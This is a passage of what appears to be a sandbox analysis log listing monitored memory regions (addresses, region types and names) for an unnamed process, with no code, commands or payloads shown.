start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1173 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1174 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1175 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1176 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1177 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1178 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1179 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1180 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1181 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1182 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1183 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1184 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1185 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1186 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1187 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1188 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1189 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1190 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1191 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1192 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1193 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1194 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1195 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1196 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1197 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1198 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1199 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1200 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1201 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1202 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1203 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1204 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1205 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1206 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1207 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1208 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1209 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1210 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1211 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1212 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1213 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1214 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1215 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1216 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1217 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1218 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1219 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1220 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1221 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1222 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1223 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1224 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1225 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1226 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1227 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1228 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1229 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1230 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1231 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1232 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1233 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1234 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1235 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1236 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1237 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1238 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1239 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1240 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1241 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1242 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1243 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1244 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1245 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1246 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1247 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1248 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1249 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1250 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1251 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1252 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1253 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1254 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1255 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1256 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1257 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1258 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1259 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1260 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1261 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1262 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1263 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1264 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1265 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1266 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1267 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1268 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1269 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1270 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1271 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1272 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1273 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1274 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1275 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1276 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1277 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1278 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1279 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1280 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1281 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1282 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1283 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1284 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1285 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1286 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1287 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1288 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1289 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1290 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1291 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1292 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1293 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1294 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1295 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1296 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1297 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1298 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1299 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1300 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1301 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1302 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1303 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1304 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1305 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1306 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1307 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1308 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1309 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1310 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1311 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1312 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1313 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1314 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1315 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1316 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1317 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1318 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1319 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1320 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1321 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1322 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1323 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1324 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1325 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1326 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1327 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1328 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1329 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1330 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1331 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1332 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1333 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1334 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1335 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1336 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1337 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1338 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1339 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1340 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1341 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1342 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1343 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1344 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1345 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1346 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1347 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1348 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1349 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1350 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1351 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1352 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1353 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1354 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1355 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1356 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1357 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1358 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1359 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1360 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1361 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1362 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1363 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1364 start_va = 